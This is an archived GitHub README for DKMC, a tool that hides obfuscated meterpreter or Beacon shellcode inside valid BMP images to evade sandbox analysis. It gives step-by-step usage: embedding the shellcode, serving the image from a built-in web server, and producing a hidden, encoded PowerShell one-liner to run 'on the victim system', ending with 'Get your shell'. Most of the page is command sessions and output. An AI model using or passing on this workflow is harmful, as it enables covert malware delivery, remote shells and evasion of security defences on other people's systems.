GitHub - Exploit-install/DKMC: DKMC - Dont kill my cat - Malicious payload evasion tool

By Mr-Un1k0d3r

Archived: 2026-04-05 20:41:21 UTC

Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandbox analysis since it's a simple "legit" image. For now the tool rely on PowerShell the execute the final shellcode payload.

Why it's called don't kill my cat? Since I suck at finding names for tools, I decided to rely on the fact that the default BMP image is a cat to name the tool.

Presentation on how it works internally can be found here: https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf

Basic Flow

- Generate shellcode (meterpreter / Beacon)
- Embed the obfuscated shellcode inside the image
- PowerShell download the image and execute the image as shellcode
- Get your shell

Usage

Launching DKMC

```
 $ python dkmc.py


DKMC - Don't kill my cat
         Evasion tool - Mr.Un1k0d3r RingZer0 Team
     |\      _,,,---,,_
    /,`.-'`'    -.  ;-;;,_
   |,4-  ) )-,_..;\ (  `'-'
  '---''(_/--'  `-'\_)    The sleepy cat

-----------------------------------------------------
Select an option:

        [*] (gen)       Generate a malicious BMP image
        [*] (web)       Start a web server and deliver malicious image
        [*] (ps)        Generate Powershell payload
```

```
        [*] (sc)        Generate shellcode from raw file
        [*] (exit)      Quit the application

>>>
```

Generate shellcode from a raw file

```
 >>> sc
(shellcode)>>> set source shellcode.txt
        [+] source value is set.

(shellcode)>>> run
        [+] Shellcode:
\x41\x41\x41\x41
```

Generate the obfuscated shellcode embedded inside of an image.

```
 >>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
        [+] shellcode value is set.

(generate)>>> run
        [+] Image size is 300 x 275
        [+] Generating obfuscation key 0x1f1dad93
        [+] Shellcode size 0x4 (4) bytes
        [+] Generating magic bytes 0xa4d0c752
        [+] Final shellcode length is 0x57 (87) bytes
        [+] New BMP header set to 0x424de9a4c60300
        [+] New height is 0x0e010000 (270)
        [+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)

(generate)>>>
```

Generate PowerShell payload to execute on the victim system.

```
 >>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
        [+] url value is set.

(powershell)>>> run
        [+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtA

(powershell)>>>
```

Built-in Web Server to deliver the image

```
 >>> web
(web)>>> set port 8080
        [+] port value is set.

(web)>>> run
        [+] Starting web server on port 8080

127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -
```

Final step require you to run the PowerShell oneliner on the victim system.

TODO

Support more file format.

Credit

Mr.Un1k0d3r RingZer0 Team 2016
